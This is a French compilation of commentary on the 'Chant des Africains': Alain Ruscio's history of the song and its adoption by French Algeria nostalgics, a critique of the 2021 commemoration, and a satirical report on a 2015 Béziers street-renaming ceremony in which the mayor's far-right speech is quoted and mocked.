• Le chant des « indigènes » enrôlés dans l’armée française annexé par les nostalgiques de la colonisation, par Alain Ruscio

     

    Bien qu’il contienne les paroles : « lorsque finira la guerre, nous reviendrons dans nos gourbis »

    Le chant des « indigènes »   enrôlés dans l’armée française annexé par les nostalgiques de la colonisation, par Alain Ruscio

     

    Le chant des « indigènes »  
    enrôlés dans l’armée française
    annexé par les nostalgiques

     de la colonisation,
    par Alain Ruscio

    Le chant des « indigènes »   enrôlés dans l’armée française annexé par les nostalgiques de la colonisation, par Alain Ruscio

     Alain Ruscio dirige la rédaction de l’Encyclopédie de la colonisation, une œuvre titanesque.

    Le 5 décembre 2021, dans de nombreuses villes de France, les cérémonies officielles en hommage à la mémoire des soldats « morts pour la France pendant la guerre d’Algérie et les combats du Maroc et de la Tunisie » se sont terminées comme à l’habitude par la reprise en chœur du fameux « Chant des Africains ». Alain Ruscio explique dans cet article pourquoi il s’agit d’une sorte de « larcin mémoriel » puisque ce chant dont la première version date de 1915 et qui était entonné par les « indigènes » de l’armée française est devenu durant la guerre d’Algérie un signe de ralliement des partisans de la colonisation. Et il le reste aujourd’hui pour les « nostalgériques ». Bien qu’il contienne les paroles, « lorsque finira la guerre, nous reviendrons dans nos gourbis », qui ne sont guère à la gloire du bilan de la colonisation… 

    Le « Chant des Africains »

     un larcin mémoriel

     des « nostalgériques »

    Le 5 décembre 2002, le président Jacques Chirac a inauguré le Mémorial situé sur le Quai Branly à la mémoire des soldats « morts pour la France pendant la guerre d’Algérie et les combats du Maroc et de la Tunisie ». Dès l’année suivante, il fut décidé que cela devienne une journée nationale d’hommage à ces « morts pour la France ». Date sans signification historique, qui est devenue une « date concurrente » de la date anniversaire de la fin de la guerre d’Algérie, le 19 mars. Mais là n’est pas l’objet de cette mise au point. On peut s’interroger en revanche sur le fait qu’il soit devenu habituel, lors de ces cérémonies, que les « nostalgériques » restés attachés à l’image idyllique d’une « Algérie heureuse » entonnent le Chant des Africains, couplets de ralliement, signe de reconnaissance entre eux et comme un défi à leurs opposants. Cette année 2021, ce fut encore le cas. 

    Cette pratique est ancienne. C’est surtout lors de la guerre d’indépendance (1954-1962) que ce chant est devenu une sorte d’hymne de l’Algérie française. Lors de tous les rassemblements — la « journée des tomates » du 6 février 1956, le 13 mai 1958, sur les barricades d’Alger en janvier 1960 —, il fut chanté à tue-tête. Plus tard, en juin 2011, lorsque les partisans de l’Algérie française eurent pour la première fois l’autorisation de poser une plaque portant la mention OAS, sur la tombe d’Antoine Argoud, ils se séparèrent une fois de plus avec ce Chant des Africains.

    Aujourd’hui encore, il reste un air de reconnaissance pour les « nostalgériques »… et pour certains hommes politiques, comme par exemple Georges Frêche qui, par goût de la provocation, le chanta en 2010 à forte voix face à ses adversaires qui lui avaient reproché certains propos sur les harkis (1). Dans maintes villes et villages de France, les images des cérémonies de ce 5 décembre 2021 montrent de même bien des élus, bien des officiels figés au garde-à-vous, écoutant ce « chant des Africains ». Oui mais… Sait-on vraiment ce qu’il signifie ? Et s’il s’agissait d’une sorte de « larcin mémoriel » entretenant une ancienne vocation colonialiste aux origines largement oubliées (2) ?

    Une première version méconnue

     lors de la Grande Guerre

    C’est lors du premier conflit mondial, en 1915, que ce chant fut initialement lancé, sous le titre C’est nous les Marocains. Premier étonnement, car le protectorat sur le Maroc ne datait que de trois ans. Mais le recrutement de soldats « indigènes » par l’armée française y avait déjà commencé et il s’agissait d’accompagner la politique du premier résident général du protectorat français au Maroc, le général Hubert Liautey, promoteur d’un colonialisme sophistiqué. La musique était alors celle de l’Hymne de l’Infanterie de Marine. Le capitaine Léon Lehuraux, dont l’ouvrage fait autorité, l’attribue sans précisions à deux auteurs, Bondifala et Marizot. D’autres études nous apprennent que le premier était sergent et le second simple tirailleur. Divers sites internet de Français d’Algérie attribuent la paternité des paroles de ce premier chant à un certain « commandant Reyjade ». Il s’agirait en fait du pseudonyme d’une femme, Jeanne Decruck, dite également Jeanne Breilh, Breilh-Decruck ou Fay-Béryl (3). En tout cas, le nom de ce(tte) même Reyjade est cité trente ans plus tard comme parolier(e) du Chant des Africains, le mot « Marocains » ne figurant plus.

    Quant à la musique connue aujourd’hui, elle est due à un certain Félix Boyer, auteur d’airs populaires dans l’entre-deux-guerres (dont Boire un petit coup, c’est agréable). Capitaine d’active, prisonnier lors de la bataille de France, il fut libéré et autorisé à se rendre en Algérie en 1941. C’est là qu’il composa la nouvelle mélodie du Chant des Africains et le dédia au colonel Alphonse Van Hecke, chef des Chantiers de jeunesse d’Afrique du Nord. C’est donc sous le drapeau pétainiste que le nouveau « chant » fut joué, d’abord à Rabat, puis à Alger, Oran, Constantine et Tunis.

    Après le débarquement allié en Afrique du Nord, Boyer, qui ne manqua pas d’à-propos, dédia désormais son « chant » au général Joseph de Monsabert, qui s’apprêtait à mener au combat la 3e division d’infanterie algérienne lors de la campagne d’Italie (4). Le 30 mai 1943, il le fit jouer devant de Gaulle, fraîchement débarqué à Alger (5). Étrange porosité des cloisons : un chant vichyste est ainsi passé imperceptiblement dans les rangs de l’armée de la France libre partie d’Afrique du Nord à la reconquête de l’Europe. Il a alors été véhiculé par cette armée.

    Ces combattants, qui vont se révéler d’élite, furent de tous les combats, contribuant avec la résistance intérieure à la libération totale de la Corse en septembre 1943. Lors de la bataille de Monte Cassino (mai 1944), ils se comportèrent avec un héroïsme qui emporta l’admiration des officiers alliés. De l’avis de tous les experts, c’est cette prise qui ouvrit la route de Rome, prélude à la débâcle italo-allemande. Le 15 août 1944, deux mois après la Normandie, les alliés débarquèrent en Provence. Dans l’armée française qui participa à l’opération (320 000 hommes), un soldat sur deux était un colonisé ou para-colonisé : 40 % venaient du Maghreb (6), 10 % d’Afrique noire, quelques centaines étaient des volontaires antillais (7), le reste des effectifs étant constitué d’Européens du Maghreb, essentiellement d’Algérie (30 %) et d’éléments métropolitains ayant rejoint la France libre en Afrique du Nord.

    Le chant des « indigènes » de la France libre

    Le Chant des Africains peut donc tout aussi bien être revendiqué par les Africains colonisés, ce mot d’« Africains » étant à cette époque ambigu. Il est par exemple chanté lors de l’une des premières scènes du film de Rachid Bouchareb Indigènes (2006) par de jeunes recrues maghrébines de l’armée d’Afrique, Saïd (Jamel Debbouze), Yacir (Samy Naceri), Messaoud (Roschdy Zem) et le caporal Abdelkader (Sami Bouajila). Divers témoignages soulignent qu’il fut alors effectivement chanté par ces soldats.

     

    Le chant des « indigènes »   enrôlés dans l’armée française annexé par les nostalgiques de la colonisation, par Alain Ruscio

    Les jeunes recrues maghrébines de l’armée d’Afrique – incarnées par Samy Naceri, Roschdy Zem, Jamel Debbouze et Sami Bouajila – entonnent « Le chant des Africains » dans le film Indigènes de Rachid Bouchareb (2006) qui en restitue l’origine. 


    C’est cette utilisation qui paraît la plus en phase avec l’esprit des paroles : les versions de 1915 et 1941 se terminent toutes deux par un couplet qui, manifestement, ne pouvait être chanté que par les « indigènes » :

    « Et quand finira la guerre
    Nous rentrerons dans nos gourbis
    Le cœur joyeux et l’âme fière
    D’avoir défendu le pays. »


    Rentrer dans les « gourbis », comme avant : on conviendra que la France coloniale remerciait ses « indigènes » d’une drôle de manière. Les Européens d’Algérie, eux, retournaient dans leurs « maisons ». Un simple mot peut parfois définir la « situation coloniale » (Georges Ballandier). En toute logique, que ce soit arithmétiquement ou sémantiquement, C’est nous les Africains devrait donc être d’abord – mais certes pas seulement – chanté par ceux qui étaient majoritaires au sein de cette armée de la France libre, ceux que l’on appelait « indigènes » ou « musulmans ». Reprenons notre formule : oui, l’accaparement de ce chant par les seuls Européens d’Algérie ou par leurs descendants est bien un « larcin mémoriel ».


    Le texte de 1915

    Nous étions au fond de l’Afrique
    Embellissant nos trois couleurs,
    Et sous un soleil magnifique,
    Retentissait ce chant vainqueur :
    En avant ! En avant ! En avant !

    Refrain
    C’est nous les Marocains,
    Qui venons de bien loin.
    Nous v’nons d’la colonie,
    Pour défen’le pays.
    Nous avons abandonné
    Nos parents nos aimées,
    Et nous avons au cœur,
    Une invincible ardeur,
    Car nous voulons porter haut et fier
    Ce beau drapeau de notre France entière :
    Et si quelqu’un venait à y toucher,
    Nous serions là pour mourir à ses pieds.
    Roulez tambour, à nos amours,
    Pour la Patrie, pour la Patrie
    Mourir bien loin, c’est nous les Marocains !

    Le texte de 1943

    Nous étions au fond de l’Afrique,
    Gardiens jaloux de nos couleurs,
    Quand sous un soleil magnifique
    A retenti ce cri vainqueur :
    En avant ! En avant ! En avant !

    Refrain
    C’est nous les Africains
    Qui revenons de loin,
    Nous venons des colonies
    Pour sauver la Patrie (pour défendre le pays)
    Nous avons tout quitté
    Parents, gourbis, foyers
    Et nous gardons au cœur
    Une invincible ardeur
    Car nous voulons porter haut et fier
    Le beau drapeau de notre France entière
    Et si quelqu’un venait à y toucher,
    Nous serions là pour mourir à ses pieds
    Battez tambours, à nos amours,
    Pour le Pays, pour la Patrie, mourir au loin
    C’est nous les Africains !

    II

    Pour le salut de notre Empire,
    Nous combattons tous les vautours,
    La faim, la mort nous font sourire
    Quand nous luttons pour nos amours,
    En avant ! En avant ! En avant !

    Refrain 

    III

    De tous les horizons de France,
    Groupés sur le sol Africain,
    Nous venons pour la délivrance
    Qui par nous se fera demain.
    En avant ! En avant ! En avant !

    Refrain 

    IV

    Et lorsque finira la guerre,
    Nous reviendrons dans nos gourbis,
    Le cœur joyeux et l’âme fière
    D’avoir libéré le Pays
    En criant, en chantant : en avant !

    Refrain 

     

    (1) « Georges Frêche, un habitué des dérapages », Le Monde, 28 janvier 2010.

    (2) Pour une plus ample information, on pourra se reporter à : Capitaine Léon Lehuraux, Chants et chansons de l’Armée d’Afrique, P. & G. Soubiron, Alger, 1933 ; Alain Ruscio, Que la France était belle au temps des colonies. Anthologie de chansons coloniales et exotiques françaises, Maisonneuve & Larose, Paris, 2001 ; Théo Bruand d’Uzelle, À propos du chant « C’est nous les Africains », 2008.

    (3) Théo Bruand d’Uzelle, loc. cit.

    (4) Capitaine Francis Josse, site Internet Le Burnous, s.d. ; site.

    (5) Philippe Lamarque, Le Débarquement en Provence, jour après jour, Cherche-Midi, Paris, 2011.

    (6) Dont certains, Ahmed Ben Bella et Ali (dit Alain) Mimoun, deviendront célèbres pour des raisons fort différentes.

    (7) Dont Marcel Manville et Frantz Fanon.

    SOURCE : https://histoirecoloniale.net/Le-chant-des-indigenes-enroles-dans-l-armee-francaise-annexe-par-les.html 

     

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    « Le Chant des Africains » accaparés par les nostalgiques de l’Algérie française, anciens membres de l'OAS ou leurs descendants a en effet été joué le 5 décembre 2021 en présence de l’hypocrite ministre déléguée auprès de la ministre des Armées, chargée de la Mémoire et des Anciens combattants : 

     

     

    Ce 5 décembre : Une parodie cérémonielle pour un simulacre de réconciliation mémorielle

    Hommage aux morts pour la France

     de la guerre d’Algérie le 5 décembre 2021

     à Paris

     

    Une parodie cérémonielle

     pour un simulacre

     de réconciliation mémorielle 

     

    Ce dimanche matin, de 10h00 à 11h00, en la Cour d’honneur de l’Hôtel national des Invalides à Paris (7e), Geneviève Darrieussecq, ministre déléguée auprès de la ministre des Armées, chargée de la Mémoire et des Anciens combattants, a présidé la cérémonie officielle d'hommage aux morts pour la France pendant la guerre d’Algérie. 

    Cette cérémonie s’est déroulée en présence d’autorités civiles et militaires, d’élus ainsi que de représentants d’associations : j’y étais invité et je m’étais inscrit en vue d’y assister. Au dernier moment, je me suis ravisé et ne l’ai pas regretté. 

    Il s’est agi, en effet, d’un spectacle parodique, marqué par le dépôt d’une gerbe minuscule au pied d’un chevalet dérisoire supportant un écriteau porteur de l’inscription "Journée nationale d’hommage aux « Morts pour la France » pendant la guerre d’Algérie et les combats du Maroc et de la Tunisie". 

     

    Une parodie cérémonielle pour un simulacre de réconciliation mémorielle


    Le ton avait été donné, quelques minutes auparavant, avec un message tendancieux, diviseur, confinant au caricatural. 

    Reconnaissant le sacrifice des militaires (soldats de métier, jeunes appelés ou rappelés sous les drapeaux, personnels féminins des Armées), des supplétifs, des rapatriés d’Afrique du Nord, des personnes disparues, des victimes civiles des 26 mars et 5 juillet 1962, respectivement à Alger (rue d’Isly) et dans les rues et immeubles d’Oran, Geneviève Darrieussecq n’a pas eu un mot pour les membres des forces de l’ordre (gendarmes, policiers, CRS). Aucune mention, fût-ce allusive, aux victimes militaires et civiles de l’OAS ! 

    Pire, au risque de se voir reprocher une certaine forme de réécriture de l’histoire, elle a affirmé, à propos des Français d’Algérie d’origine européenne : « Ils n’étaient pas les exploiteurs haineux souvent caricaturés. Ils partageaient une vie, un pays, une terre avec les populations arabes ou berbères d’Algérie. ». Aucune précision, cependant, sur les modalités de la répartition. 

    En conclusion d’une manifestation à la tonalité nostalgérique assumée, la ministre déléguée a longuement salué chacune et chacun des invités cependant que la musique militaire interprétait le chant des Africains, hymne des partisans de l’Algérie française et de l’OAS. 

    Ni le député de Paris Gilles Le Gendre (LREM), ni le sénateur des Hauts-de-Seine Roger Karoutchi (Les Républicains) n’ont sourcillé. 

    Espérée digne, inclusive, respectueuse de toutes les mémoires des victimes de la guerre d’Algérie, la prestation de la ministre Darrieussecq aura contribué de la pire façon à la rémanence des antagonismes. Elle aura par ailleurs desservi le dessein gouvernemental d’une relation apaisée entre la France et l'Algérie. 

    Jean-François Gavoury
    Pupille de la Nation
    Orphelin de guerre
    Président de l’Association nationale
    pour la protection de la mémoire
    des Victimes de l’OAS (ANPROMEVO) 
     

    PS : cf. https://www.youtube.com/watch?v=gBv6qejR1No)

     

    « Le Chant des Africains » a aussi été chanté par la bande à Ménard un certain 14 mars 2015 à Béziers :

    Aujourd'hui 14 mars 2015, le maire de Béziers débaptise la rue du 19-mars-1962, date du cessez-le-feu mettant officiellement fin à la guerre d'Algérie, pour lui donner le nom de rue du Commandant-Hélie-Denoix-de-Saint-Marc, un militaire ayant participé au putsch des généraux (1).

    selfie chouquette

     

    Voici donc votre Maurane Bob municipale en route vers la Devèze, quartier périphérique et populaire de la ville où va se dérouler la cérémonie, et où les forces de l'ordre se déploient en nombre pour l'occasion. Ceux de mes amis qui se sont déplacés sont tous à la contre-manifestation pour exprimer leur désaccord avec la décision du maire. Tous, sauf une...

    - De Chouquette à Maurane :  suis dans la place. Je t'attends. Terminé.
    - De Maurane à Chouquette : bien joué, tu es drôlement en avance. Terminé.
    - T'inquiète, j'ai pris de quoi bouquiner : numéro spécial printemps 2015 tendance beauté mine superbe.
    - Alors ?
    - Alors, faut pas picoler, pas fumer, se coucher tôt... Finalement, je préfère les années tendance printemps mine de chiotte - mais faut reconnaître qu'elles sont plus rares.
    - Nan, je voulais dire : alors y a du monde ?
    - Des bus entiers, ma pauvre.

    « Elle est déjà là-bas » , je dis à mon amoureux qui a choisi de se rendre à la contre-manif, mais qui est tout de même tenté de m'accompagner de l'autre côté car il craint d'éventuels débordements. En effet, la Devèze, où va se dérouler la cérémonie, est un quartier multiculturel régulièrement stigmatisé par la nouvelle municipalité (2). Aujourd'hui, cette dernière y fait venir de la France entière des bus remplis de nostalgiques de l'Algérie coloniale. Cela pourrait mal tourner. Au cas où, on a mis les baskés - comme on dit chez nous.

    Il est 14h15, nous sommes du côté de l'avenue Pierre Mendes-France, et une foule mécontente obstrue l'entrée du boulevard Cadenat, à l'autre bout duquel va se tenir la cérémonie à partir de 14h30. Entre les deux, les forces de l'ordre munies de barrières, empêchent toute circulation.
    - Comment fait-on pour passer de l'autre côté ? Je demande.
    - Faut faire le tour par derrière, on me répond.
    - Je viens avec toi, dit mon amoureux.
    - Et la contre-manif ?
    - Je viens avec toi.

    Nous voilà engagés, sous un soleil radieux, dans un dédale de rues pavillonnaires toutes semblables les unes aux autres. On se repère aux grandes tours et barres d'immeubles qui surplombent le décor, où les rapatriés d'Algérie furent les premiers à poser leurs valises dans les années 1960. L'actuel maire de Béziers était un de ceux-là, un enfant né sur l'autre rive de la Méditerranée et contraint de venir grandir ici, à la Devèze. Depuis d'autres enfants ont suivi le même itinéraire que lui, enfants d'immigrés nés de l'autre côté de la mer, relégués ici dans les mêmes espaces périphériques. Mais l'actuel maire de Béziers n'exprime jamais aucune empathie à l'égard de ses jumeaux migratoires. Au contraire.

    Au détour d'un croisement, nous arrivons au pied des barres et rencontrons un groupe d'adolescents qui papotent en arabe. Avec mon amoureux, on s'approche et on demande notre chemin.
    - Vous allez au truc du changement de nom de rue, là ? Demande un grand brun à lunettes.
    - Oui, je dis, vous n'y allez pas, vous ?
    - Nous ? Pourquoi on irait ? C'est pas un truc pour nous, ça. C'est un truc contre nous (il accentue « contre »).
    - Ouais, disent les autres.
    - Pourquoi c'est un truc contre vous ?, je demande.
    - Vous savez pas pourquoi ?, me dit le gamin. Parce que le 19 mars 1962, le nom de la rue qu'il a enlevé, ça voulait dire la paix entre la France et l'Algérie. Le nouveau nom de la rue, c'est le nom d'un militaire qui voulait continuer la guerre entre les Français et les Arabes. On dirait que le maire, il préfère la guerre !
    - Il a qu'à l'appeler carrément la rue de la guerre, tant qu'il y est, renchérit un autre ado, au moins ça sera plus clair.
    - Et pourquoi vous n'allez pas à la manif, alors, si vous n'êtes pas d'accord ? je demande encore.
    - Vous êtes journaliste ? dit le grand à lunettes d'un air soupçonneux.
    - Oui, je fais, on est journalistes, et mon amoureux montre son appareil photo.
    - Alors écoutez bien, Madame la journaliste, je vais vous dire pourquoi on va pas à la manif : parce que le maire il veut nous énerver exprès pour que ça se passe mal. Et après il dira encore : « Vous avez vu, les jeunes de la Devèze c'est des voyous ! » Alors quand vous ferez votre article, s'il vous plaît, écrivez bien que les jeunes de la Devèze c'est pas des voyous. Ecrivez qu'on est dignes.

    Écrivez qu'on est dignes.

    Il marque une pause. Faut promettre de l'écrire, ça, Madame la journaliste : dignes . Je promets.

    Sur les pare-brises des voitures, tout le long du trajet, quelqu'un a pris la peine de distribuer un tract écrit à la main et photocopié sur des demi-feuilles A4. Il y en a partout ! Mon amoureux en pique un au passage : « Oui aux urnes de la paix » est inscrit en plus gros, comme un titre, et en dessous un texte qui commence par « Non au matador tueur de notre Démocratie » et se termine par « Aux urnes citoyen(ne)s de la NON-VIOLENCE et du PACIFISME ». Signé : « Une apassionata du Bon-Vivre pour TOUT, TOUTES et TOUS. Bien sincèrement... et vous ? » Á côté de nous, une automobiliste achève la lecture du tract qu'elle a prélevé sur sa propre voiture. Je croise son regard. « C'est pas faux tout ça, elle nous dit, mais c'est mal écrit. » Et elle disparaît au volant de son véhicule.

    Plus loin nous demandons encore notre chemin. Cette fois c'est une femme coiffée d'un foulard qui nous répond, tandis que ses trois enfants nous dévisagent avec attention. Les haut-parleurs de la mairie ont commencé à diffuser les discours officiels : une voix de femme retentit dans tout le quartier, probablement l'une des filles du Commandant Hélie Denoix de Saint-Marc, qui retrace les grandes lignes de la vie mouvementée de son père. Les protestations de la manifestation montent d'un ton.
    - Ça vous fait beaucoup de bazar dans le quartier, je dis.
    - Oui, dit la dame, j'espère qu'ils ne vont pas nous faire ça trop souvent...
    - Vous n'y allez pas, vous ? Je demande.
    - Oh non , elle dit, avec un sourire gêné. Mon fils il m'a expliqué, la guerre, tout ça, il a appris à l'école, mais bon, il faut respecter. S'ils veulent changer le nom de la rue, il faut respecter.
    - Oui, je dis, mais aussi on a le droit de dire si on est pas d'accord.
    - C'est des vieilles histoires, me dit la dame, c'est du passé. Il faut regarder l'avenir maintenant. Le nom d'une rue ça fait pas grand-chose. C'est l'avenir qui compte. Il faut respecter.

    En repartant, nous croisons une dame d'une soixantaine d'années qui cherche à rejoindre la cérémonie elle aussi. Nous l'invitons à se joindre à nous.
    - Si on ne trouve pas le chemin, on verra ce soir à la télé, mais quand même ce serait dommage, moi je voudrais bien faire ma curieuse, elle nous explique.
    - Moi pareil, je dis.
    Mon amoureux se tait.
    - Vous cherchez la manif ou la cérémonie ? Nous demande un monsieur du quartier, visiblement amusé par l'agitation soudaine au pas de sa porte.
    - Ah, non surtout pas la manif ! Dit la dame. Nous on veut aller à la cérémonie !
    - Alors c'est par là, indique notre guide en se marrant.

    Nous arrivons enfin de l'autre côté du boulevard Cadenat. Le cordon de sécurité se déploie sur toute la largeur.
    - On ne peut pas passer ? Je demande à l'un des agents postés devant la barrière.
    - Ça dépend , il me dit.
    - Ça dépend de quoi ?
    - Ça dépend de ce que vous pensez de la manif, il me dit.
    - On ne veut pas aller à la manif, s'exclame la dame d'une soixantaine d'années, « on veut aller à la cérémonie ! »
    - Alors c'est par là, indique l'agent en tirant la barrière, tandis que les haut-parleurs annoncent le discours du maire.
    - Ah, on n'a pas raté le meilleur ! Se réjouit notre compagne de route.
    - HOU ! HOU ! Clame la foule en haut du boulevard.
    - On a rendez-vous avec une copine, dit mon amoureux, on va se séparer là. Au revoir Madame.
    - Au revoir, alors !
    - Au revoir...

    L'entrée de la rue est celle d'un lotissement comme il y en a des milliers en France. La particularité ici est que les villas, plutôt modestes, ont vue sur le béton. La rue est pleine de monde, de nombreux bérets verts et rouges flottent à la surface de la foule, permettant de localiser les anciens combattants de la guerre d'Algérie. Contre les clôtures des jardinets, des petits stands ont été installés, vendant des pin's à l'effigie du Commandant Denoix de Saint-Marc, ou des journaux spécialisés. Quelque part dans la foule, nous repérons la chevelure extraordinaire de Chouquette. Vas-y, dit mon amoureux, je fais quelques photos et je vous rejoins.

     

    selfie poteau

     

    Je me faufile jusqu'à elle, tapote son épaule, elle se retourne et me sourit. Un pin's « Commandant Denoix de Saint-Marc » orne sa veste. Points d'interrogation dans mes yeux.
    - Je vais pas t'apprendre ton job, ma loutre, faut se fondre dans le décor...
    - Et qu'est-ce que tu vas en faire, de ce pin's, après ?
    - J'en ferai don à un musée archéologique. Regarde-les, tes fachos : on peut tous les dater au carbone quatorze !
    Coup d'œil panoramique : c'est vrai la moyenne d'âge est particulièrement élevée.
    - Ne te moque pas, Chouquette, ils pourraient être tes grands-parents...
    - Tu crois pas si bien dire, ma loutre, ils sont pieds-noirs justement, mes grands-parents, mais l'Algérie Française, tu vois, ça fait un moment qu'ils ont changé de disque ! Ils étaient pauvres là-bas, ils sont pauvres ici, pas de quoi en faire des caisses.
    - Parle moins fort , je dis, en croisant le regard courroucé d'un grand-père qui n'a pas tellement l'air d'avoir changé de disque, lui.

    Pendant ce temps, le maire de Béziers a déjà remercié et honoré ceux qui ont parcouru 500 ou 1000 kilomètres pour être ici, il a déjà évoqué sa « lignée » , salué son père (3) et toute sa famille, et là il en est à parler du 19 mars 1962, date des accords d'Évian mettant officiellement fin à la guerre d'Algérie – mais dire cela c'est un mensonge, affirme-t-il, une ignominie, une insulte à la mémoire des pieds-noirs, des harkis et des appelés qui ont subi des violences après cette « capitulation » , cet « abandon » , ce « renoncement à la grandeur de la France. » Le maire de Béziers ajoute qu'il ne peut pas se résigner (et nous non plus) , parce qu'il pense à sa famille (et aux nôtres) , à son père (et à nos pères) et puis aux cimetières qu'il a fallu abandonner là-bas. Les cimetières...

    Estoy cansada de no saber dónde morirme. Ésa es la mayor tristeza del emigrado. ¿ Qué tenemos nosotros de ver con los cementerios de los países donde vivimos ? Je suis fatiguée de ne pas savoir où mourir. Telle est la plus grande tristesse de l'émigré. Qu'avons-nous à voir, nous, avec les cimetières des pays où nous vivons ? Cette citation de María Teresa León me revient en mémoire, et me serre le cœur. Universelle mélancolie des émigrés. D'Algérie ou d'ailleurs...

    Mais le maire de Béziers, lui c'est pas pareil : il est (nous sommes) victime(s) de gens qui mentent, trompent et falsifient comme Benjamin Stora (4). Il le dit à l'adresse de « ceux qui s'agitent là-bas, pleins d'une haine titubante » (il parle de la manifestation qui, à l'autre bout du boulevard, clame son désaccord, et que l'on entend assez fort d'ici) . Ce sont des « spectres errant dans le dédale de leur rancœur et de leur ignorance » . Et il ajoute : « La traîtrise est leur patrie. Nos victoires leurs châtiments. »

    Quand il parle de ses victoires, il parle de changer le nom d'un lotissement avec trois bus de potes grabataires ?  s'interroge Chouquette.

    - Oui, je dis, c'est notre châtiment.
    - M'en parle pas, dit Chouquette en levant les yeux au ciel... Enfin toi, c'est le soleil qui est en train de te châtier, ma loutre, tu ferais mieux de mettre ton bob !

    Tout en pestant contre l'inefficacité des écrans solaires, j'essaie de me concentrer sur la suite du discours. Le maire de Béziers en a marre de la repentance, de la contrition, et tout ça. Après tout si la France a envahi l'Algérie au XIXème siècle, c'était pour la bonne raison qu'il y avait des pirates, et pas des rigolos, on oublie trop souvent de le dire. L'Algérie y a gagné des routes, des ports, des écoles et des hôpitaux, alors bon. L'Algérie, disait la mère du maire, « c'est notre paradis à nous, ce paradis qu'on nous a enlevé » . Et rien que d'y penser ça le met en colère, le maire, qu'on vienne lui rebattre les oreilles avec le 19 mars 1962. Il y a des Européens qui ont été enlevés et même vidés de leur sang, rappelle-t-il, car il est là pour dire haut et fort sa vérité sur les assassins et les bourreaux des Français d'Algérie.

    - Ouais, ironise Chouquette à voix basse, par contre les mecs de l'OAS, eux, quand ils chopaient un Arabe du FLN, ils lui faisaient un peu des guilis sous les pieds, et puis ils le relâchaient avec des lignes à copier : je ne dois pas lutter pour l'indépendance de mon pays à tous les temps et à tous les modes. C'est bien connu !

    Le maire poursuit le fil de sa pensée : les mêmes qui assassinaient hier les Français d'Algérie, assassinent aujourd'hui des journalistes, des policiers et des juifs par haine de la France (les mêmes pas tout à fait quand même, je me dis, à part s'ils ont plus de 70 ans...) , et c'est une insulte pour les bons musulmans que sont les Harkis (5).

    Que s'est-il donc passé, alors ? Et bien c'est simple. Encore un coup c'est la faute de l'immigration. L'Algérie était une colonie de peuplement. Aujourd'hui c'est la France qui subit une immigration de peuplement. Une immigration de remplacement (6). Qui aura des conséquences dramatiques. Il voudrait se tromper, notre maire d'extrême droite, mais il craint bien d'avoir raison au sujet des conséquences dramatiques – du coup j'essaie d'imaginer le tableau : l'Europe peuplée d'enfants qui pourraient mettre le nez dehors dès le mois de mars sans se ramasser illico un teint de fraise Tagada... dramatique, on vous dit !

     

    chute maurane

     

    Transition : face aux drames d'hier, il y a eu des hommes prêts à mourir pour des valeurs, on appelle ça des héros, et on ferait bien d'en prendre de la graine aujourd'hui, à une époque où on nous serine qu'on ne va quand même pas mourir pour des idées (7). Hélie Denoix de Saint-Marc, lui, est « un preux, un orphelin d'un ordre spirituel et guerrier, tenant sa vie comme une lance » . (Chouquette me jette un regard de sole meunière auquel je réponds par une moue de daurade bouillie.)

    Selon feu le Commandant, la vie est un combat, et le dire n'est pas une apologie de la guerre mais un simple constat et une adresse d'espoir : il faut faire de son espoir un bélier qui fracasse toutes les murailles et espérer au-delà de toute raison. « Ici je le sais, nous espérons, » dit le maire en élevant le ton, « nous n'avons jamais cessé d'espérer. Nos espoirs sont nos fidélités. Et nos fidélités comme nos espoirs trouvent en ce jour leur récompense, comme elles trouveront demain, en d'autres lieux et sur d'autres plans, des satisfactions encore plus décisives pour notre nation et notre peuple. »

    Applaudissements intenses et huées vigoureuses portées par le vent depuis l'autre bout du boulevard. « Il est flippant, ou c'est moi ? » demande Chouquette. Je ne réponds pas. Malgré le soleil de plomb, il me semble soudain qu'il fait très froid, tandis qu'à l'intérieur de moi, cette interrogation déploie les ramifications de ses multiples possibles : de quelles satisfactions encore plus décisives pour notre nation et pour notre peuple parle-t-il ?

    En lisant la prose du Commandant putschiste, notre orateur n'a pas honte de le dire, il a eu les larmes aux yeux, regrettant presque d'avoir été trop jeune pour être confronté à des choix qui forcent le destin et font de vous un homme. « Il est flippant, » diagnostique Chouquette, tandis que le public commence à scander « Algérie fran-çaise ! Algérie fran-çaise ! »

    « Il faut dire NON à la France métissée et multiculturelle qu'on nous impose, » s'emporte le maire de notre ville ! « Vive la France !! Vive la France française !!! » Et il entonne, suivi par la foule, le « chant des Africains » (8).

     

    chanson finale

     

    - Sympa, les paroles ! Dit la voix de mon amoureux par-dessus mon épaule.
    - Un chant de guerre comme un autre, je réponds...
    - T'en veux, du communautarisme ? Demande Chouquette.

    - On s'en va ? Je propose.
    - On s'amusait bien, proteste mon amoureux...

    Tandis que les applaudissements tarissent, la foule commence à refluer, commentant avec enthousiasme la force de vérité du discours. Des files indiennes s'organisent devant les cabines vécés installées pour l'occasion. Les marchands de pin's écoulent les derniers stocks. Une dame me tend un tract intitulé « Les identitaires de la ligue du midi, solidarité, identité, sécurité » m'invitant à adhérer pour, entre autres choses, « stopper l'immigration et promouvoir la remigration » .
    - Remigration, de qu'es aquò ?, je demande.
    - Ça veut dire  déportation, traduit Chouquette.
    - C'est comme on dirait « non intelligent » pour dire « gros con » , ou « non empathique » pour « psychopathe » » , précise mon amoureux.

    J'en reste sans voix. On marche en silence comme ça. Promouvoir la déportation. Ben merde, alors...

    - Il avait raison, le gosse , je dis.
    - Quel gosse, fait Chouquette...
    - Pour le nom : « rue de la guerre » . Un gosse de la Devèze, tout à l'heure. Il avait raison...

    Mon amoureux se plante devant moi comme s'il venait de penser à un truc, il plisse les yeux, hoche la tête, pince les lèvres et déclare : « Fascinant ! »
    - Quoi, fascinant ? Je dis.

    - Ta figure. Tu as encore pris un coup de soleil. Fascinant...

    Et c'est ainsi que, sévèrement rougie mais toujours en vie, votre intrépide reporter termine sa mission et vous dit : à bientôt à Béziers !

    (1) Le putsch des généraux : pour tenter d’empêcher le processus menant à l’indépendance de l’Algérie, plusieurs anciens chefs de l’armée française en Algérie tentèrent de prendre le pouvoir à Alger du 20 au 26 avril 1961. Après l’échec du putsch certains d’entre eux furent arrêtés (le commandant Hélie Denoix de Saint-Marc en fit partie) et d’autres entrèrent dans la clandestinité au sein de l’OAS (Organisation Armée Secrète), menant des opérations terroristes diverses en Algérie et en France.

